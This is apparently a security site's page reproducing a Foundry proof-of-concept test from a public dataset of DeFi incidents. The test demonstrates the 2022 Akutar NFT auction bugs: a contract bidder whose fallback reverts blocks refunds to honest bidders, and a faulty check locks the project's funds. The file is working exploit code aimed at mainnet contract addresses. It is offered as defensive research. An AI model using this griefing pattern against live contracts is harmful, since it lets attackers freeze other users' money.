Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/AkutarNFT_exp.sol

Public reproduction file for dataset entry Akutar NFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/AkutarNFT_exp.sol68 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7/*
8Akutar NFT Denial of Service(DoS) Exploit PoC
9
10There are two serious logic vulnerabilities
121. First can cause a DoS attack due to the missing check if the bidder is a contract. As a result, the attacker can call the revert() and stop the honest bidders from getting back their bid amount.
142. The Second will make the project fund (more than 34M USD) being locked forever due to incorrect check in the require statement.
16forge test --contracts ./src/test/AkutarNFT_exp.sol -vv
17*/
18contract AkutarNFTExploit is Test {
19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20 IAkutarNFT akutarNft = IAkutarNFT(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);
22 function setUp() public {
23 cheats.createSelectFork("mainnet", 14_636_844); // fork mainnet at 14636844
24 }
26 function testDOSAttack() public {
27 address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4;
28 address maliciousUser = address(this); // malicious User is a contract address
30 cheats.prank(maliciousUser); //maliciousUser makes a bid
31 akutarNft.bid{value: 3.5 ether}(1);
32 console.log("honestUser Balance before Bid: ", honestUser.balance / 1 ether);
34 cheats.prank(honestUser); //honestUser makes a bid
35 akutarNft.bid{value: 3.75 ether}(1);
36 console.log("honestUser Balance after Bid: ", honestUser.balance / 1 ether);
38 //Set the block.height to the time when the auction was over and processRefunds() can be invoked
39 //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf
40 //use - https://www.epochconverter.com/ for UTC <-> epoch
41 cheats.warp(1_650_674_809);
43 cheats.prank(maliciousUser);
44 try akutarNft.processRefunds() {}
45 catch Error(string memory Exception) {
46 console.log("processRefunds() REVERT : ", Exception);
47 }
48 //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception
49 console.log("honestUser Balance post processRefunds: ", honestUser.balance / 1 ether);
50 }
52 function testclaimProjectFunds() public {
53 address ownerOfAkutarNFT = 0xCc0eCD808Ce4fEd81f0552b3889656B28aa2BAe9;
55 //Set the block.height to the time when the auction was over and claimProjectFunds() can be invoked
56 cheats.warp(1_650_672_435);
58 cheats.prank(ownerOfAkutarNFT);
59 try akutarNft.claimProjectFunds() {}
60 catch Error(string memory Exception) {
61 console.log("claimProjectFunds() ERROR : ", Exception);
62 }
63 }
65 fallback() external {
66 revert("CAUSE REVERT !!!");
67 }

Analysis

Dataset entry

Public Foundry test for “Akutar NFT” (2022-04-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Akutar NFT
Path
src/test/2022-04/AkutarNFT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d1cfe4bd388e8fbd7ba0781cb447e56ff9e23fa0
Language
Solidity
Size
69 lines
Date
2022-04-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/AkutarNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d1cfe4bd388e8fbd7ba0781cb447e56ff9e23fa0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.